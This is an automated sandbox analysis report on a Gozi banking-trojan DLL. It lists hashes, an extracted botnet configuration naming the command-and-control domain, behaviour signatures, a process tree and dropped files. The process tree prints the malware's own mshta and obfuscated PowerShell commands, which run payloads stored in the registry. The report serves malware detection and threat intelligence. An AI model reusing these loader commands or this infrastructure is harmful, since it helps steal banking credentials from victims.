Analysis

  • max time kernel
    154s
  • max time network
    169s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-10-2023 14:08

General

  • Target

    sistema.dll

  • Size

    206KB

  • MD5

    72e2a5c797954e895a41be5b20f867b2

  • SHA1

    419aacfb3ccea9b08277bcc9405054fa4238a597

  • SHA256

    858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

  • SHA512

    77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

  • SSDEEP

    6144:sMmIE7vr+qWNGzfXDanCU60rPP+vJsWKq12Jy:o/7DrQGzfXDeCU6cevKWXwy

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3096
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:3936
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3716
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of UnmapMainImage
        • Suspicious use of WriteProcessMemory
        PID:3212
        • C:\Windows\system32\rundll32.exe
          rundll32.exe C:\Users\Admin\AppData\Local\Temp\sistema.dll,#1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4972
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe C:\Users\Admin\AppData\Local\Temp\sistema.dll,#1
            3⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2704
            • C:\Windows\system32\control.exe
              C:\Windows\system32\control.exe -h
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3648
              • C:\Windows\system32\rundll32.exe
                "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                5⤵
                  PID:3724
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Hl3f='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Hl3f).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD\\\LinkActive'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4988
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wpkaamm -value gp; new-alias -name dvodlji -value iex; dvodlji ([System.Text.Encoding]::ASCII.GetString((wpkaamm "HKCU:Software\AppDataLow\Software\Microsoft\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD").PlayPlay))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4112
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fkayfnlh\fkayfnlh.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2144
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE589.tmp" "c:\Users\Admin\AppData\Local\Temp\fkayfnlh\CSCE80BDF20BD4141CD87F42377980332D.TMP"
                  5⤵
                    PID:3292
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfxuj2pr\zfxuj2pr.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4804
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE9DE.tmp" "c:\Users\Admin\AppData\Local\Temp\zfxuj2pr\CSCE4CA4D8536624446809D8C09DC6512.TMP"
                    5⤵
                      PID:488
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:4556
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:4660

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\RESE589.tmp

                  Filesize

                  1KB

                  MD5

                  13716aa45468135119058f96051b1186

                  SHA1

                  e5f43a501be520a0e3282f342cdf24c75f7752a3

                  SHA256

                  b086aabe702a88cea3d96e1207c8f1cec25b7cfaf5635d011bcf8b9ad3ce58bb

                  SHA512

                  dcae1af0c3172a52558de9b7120f4c8d68aedf85b83265ce35e205f9f56f48953ab61c376073fc314831328c8cba61cf02f85f31b07d92c65a159351b51173d5

                • C:\Users\Admin\AppData\Local\Temp\RESE9DE.tmp

                  Filesize

                  1KB

                  MD5

                  f03568319a28dac1bde0d4ccb5b6a30b

                  SHA1

                  b9ae548c678faa4124d8cf9dbc82aa71040483fc

                  SHA256

                  5ce5e0749d31ddc8b20036a75087d1c69128c19c565c815dc76fea77f7c71880

                  SHA512

                  b747b5b724a0d19c35f668d193a38488ad50524f556a753b3d0eaf15b22f6905cc212f9433c89300e860986401826154d2aa5e2cffd5296631a9d8f02a3355fe

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mexaqknj.t4w.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\fkayfnlh\fkayfnlh.dll

                  Filesize

                  3KB

                  MD5

                  86d251cb5ad5dc3280267709ec59ad02

                  SHA1

                  ab6081dd3b25e7102d27dc14ae6d63335ec9c907

                  SHA256

                  690b7e1fc8e42746c4dc5f140ad8f6652c764bb8bfad8b489481bdc04d5b7093

                  SHA512

                  7ba878fd771cb571d3eabae2a55af89a03740b4334ae49b2659c2c6e200dfbbc98d03b0cc7edeca5ee85a44aecc41a894d7277148931044f599ac5fadf174a77

                • C:\Users\Admin\AppData\Local\Temp\zfxuj2pr\zfxuj2pr.dll

                  Filesize

                  3KB

                  MD5

                  96df3615c98e40ba854e583697315d85

                  SHA1

                  a9b1143bce21db5f3b2b3a5f61608c046a9d783c

                  SHA256

                  f2a0a3670fef343e172222866d3713bdb0f1ccabe0a6adbb8471826369bda3b1

                  SHA512

                  e87ca0174f7a75a85644a4139a5bfe99d651feb7c05e70a688a3075728c473f1b80e1b02251d797683005c5de3bcba36200fe2f5df54b7552c5fde7dcd36af79

                • \??\c:\Users\Admin\AppData\Local\Temp\fkayfnlh\CSCE80BDF20BD4141CD87F42377980332D.TMP

                  Filesize

                  652B

                  MD5

                  c295ffc700ac6d9abea7502be66e12ad

                  SHA1

                  a41297d008f7a626a8c1e2cdc9ceeb6e5cfa1666

                  SHA256

                  b2979476aa21434b29a224f6e144cdee6becf3c5a097f97774b05f6d69eb8c2d

                  SHA512

                  285b3f832cf4bd15ba8b393326c7d27b97ea35bb021f98cbebaa9c4f125ea98d1689cdec5bffdb60750cb5ad6d7592d949d532e4934cf0843bc6520df0734e00

                • \??\c:\Users\Admin\AppData\Local\Temp\fkayfnlh\fkayfnlh.0.cs

                  Filesize

                  405B

                  MD5

                  caed0b2e2cebaecd1db50994e0c15272

                  SHA1

                  5dfac9382598e0ad2e700de4f833de155c9c65fa

                  SHA256

                  21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                  SHA512

                  86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                • \??\c:\Users\Admin\AppData\Local\Temp\fkayfnlh\fkayfnlh.cmdline

                  Filesize

                  369B

                  MD5

                  40485703897451fea41a146151e755b9

                  SHA1

                  fd1548f15afab4f57188b3ff5185b6e0526a47a1

                  SHA256

                  924ebdce042d23568874923b46563aa0765c69575b4236addad572a18ba9a277

                  SHA512

                  b7e89b08b69be276480f711fa36d904fdf315dd4ea2da49a8e10c2ef5bda3815f5f3dbdb840db44bbb78af289d13ce261747d2ddf3421194c4e30462ef454265

                • \??\c:\Users\Admin\AppData\Local\Temp\zfxuj2pr\CSCE4CA4D8536624446809D8C09DC6512.TMP

                  Filesize

                  652B

                  MD5

                  3dc5afd4597bfc44945bb6b1df0cb216

                  SHA1

                  f5e17c819f0a473b2da82979b1d5de2ae9310a1a

                  SHA256

                  ebc99f3bcb0191fcc926d4becbccff49849a28c4795ddeae4172a6dd0ec01005

                  SHA512

                  cc9f6340d014d975225e7de32301f7101c9f7ee3c3a09cdd0b6f2d4a01f25ce2418a0a6dcb4af69d14f8db7f554923f849d6218b2d7551661672f0dc8a9cce31

                • \??\c:\Users\Admin\AppData\Local\Temp\zfxuj2pr\zfxuj2pr.0.cs

                  Filesize

                  406B

                  MD5

                  ca8887eacd573690830f71efaf282712

                  SHA1

                  0acd4f49fc8cf6372950792402ec3aeb68569ef8

                  SHA256

                  568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                  SHA512

                  2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

                • \??\c:\Users\Admin\AppData\Local\Temp\zfxuj2pr\zfxuj2pr.cmdline

                  Filesize

                  369B

                  MD5

                  83fdce9621a651b0623dc07183ea5847

                  SHA1

                  40374fc1cc17f438ae612f7368b2df73a7968305

                  SHA256

                  b678a460dec240aa0b3540625a039cb4d6ebe3857733723581a633aea02231f2

                  SHA512

                  490000eb8f4b2f900182d3f07eea938860aec83f3da83257719a78769719fd61d7012307cffd73fcd9f8a73fa6d174c3a9ae3a894fa46e55fbafbb3cc90671cc

                • memory/2704-92-0x0000000002F00000-0x0000000002F0E000-memory.dmp

                  Filesize

                  56KB

                • memory/2704-5-0x0000000002F00000-0x0000000002F0E000-memory.dmp

                  Filesize

                  56KB

                • memory/2704-0-0x0000000002EC0000-0x0000000002EE9000-memory.dmp

                  Filesize

                  164KB

                • memory/2704-2-0x0000000003020000-0x000000000302D000-memory.dmp

                  Filesize

                  52KB

                • memory/2704-1-0x0000000002F00000-0x0000000002F0E000-memory.dmp

                  Filesize

                  56KB

                • memory/3096-80-0x0000014BAF680000-0x0000014BAF681000-memory.dmp

                  Filesize

                  4KB

                • memory/3096-109-0x0000014BAF890000-0x0000014BAF934000-memory.dmp

                  Filesize

                  656KB

                • memory/3096-78-0x0000014BAF890000-0x0000014BAF934000-memory.dmp

                  Filesize

                  656KB

                • memory/3212-56-0x0000000002D50000-0x0000000002D51000-memory.dmp

                  Filesize

                  4KB

                • memory/3212-105-0x0000000008EF0000-0x0000000008F94000-memory.dmp

                  Filesize

                  656KB

                • memory/3212-55-0x0000000008EF0000-0x0000000008F94000-memory.dmp

                  Filesize

                  656KB

                • memory/3716-107-0x000002009DE20000-0x000002009DEC4000-memory.dmp

                  Filesize

                  656KB

                • memory/3716-67-0x000002009DE20000-0x000002009DEC4000-memory.dmp

                  Filesize

                  656KB

                • memory/3716-68-0x000002009DAA0000-0x000002009DAA1000-memory.dmp

                  Filesize

                  4KB

                • memory/3936-108-0x0000029F642A0000-0x0000029F64344000-memory.dmp

                  Filesize

                  656KB

                • memory/3936-74-0x0000029F64260000-0x0000029F64261000-memory.dmp

                  Filesize

                  4KB

                • memory/3936-73-0x0000029F642A0000-0x0000029F64344000-memory.dmp

                  Filesize

                  656KB

                • memory/4112-51-0x0000024654CC0000-0x0000024654CC8000-memory.dmp

                  Filesize

                  32KB

                • memory/4112-12-0x0000024654920000-0x0000024654942000-memory.dmp

                  Filesize

                  136KB

                • memory/4112-65-0x0000024654CD0000-0x0000024654D0D000-memory.dmp

                  Filesize

                  244KB

                • memory/4112-53-0x0000024654CD0000-0x0000024654D0D000-memory.dmp

                  Filesize

                  244KB

                • memory/4112-27-0x0000024654810000-0x0000024654820000-memory.dmp

                  Filesize

                  64KB

                • memory/4112-18-0x0000024654810000-0x0000024654820000-memory.dmp

                  Filesize

                  64KB

                • memory/4112-19-0x0000024654810000-0x0000024654820000-memory.dmp

                  Filesize

                  64KB

                • memory/4112-20-0x0000024654810000-0x0000024654820000-memory.dmp

                  Filesize

                  64KB

                • memory/4112-17-0x00007FFE904A0000-0x00007FFE90F61000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4112-25-0x0000024654810000-0x0000024654820000-memory.dmp

                  Filesize

                  64KB

                • memory/4112-37-0x000002463C400000-0x000002463C408000-memory.dmp

                  Filesize

                  32KB

                • memory/4112-64-0x00007FFE904A0000-0x00007FFE90F61000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4112-24-0x0000024654810000-0x0000024654820000-memory.dmp

                  Filesize

                  64KB

                • memory/4112-23-0x00007FFE904A0000-0x00007FFE90F61000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4556-104-0x0000000000FA0000-0x0000000001038000-memory.dmp

                  Filesize

                  608KB

                • memory/4556-103-0x0000000000B90000-0x0000000000B91000-memory.dmp

                  Filesize

                  4KB

                • memory/4556-106-0x0000000000FA0000-0x0000000001038000-memory.dmp

                  Filesize

                  608KB

                • memory/4556-93-0x0000000000FA0000-0x0000000001038000-memory.dmp

                  Filesize

                  608KB

                • memory/4660-86-0x0000021C22890000-0x0000021C22891000-memory.dmp

                  Filesize

                  4KB

                • memory/4660-85-0x0000021C22D40000-0x0000021C22DE4000-memory.dmp

                  Filesize

                  656KB

                • memory/4660-110-0x0000021C22D40000-0x0000021C22DE4000-memory.dmp

                  Filesize

                  656KB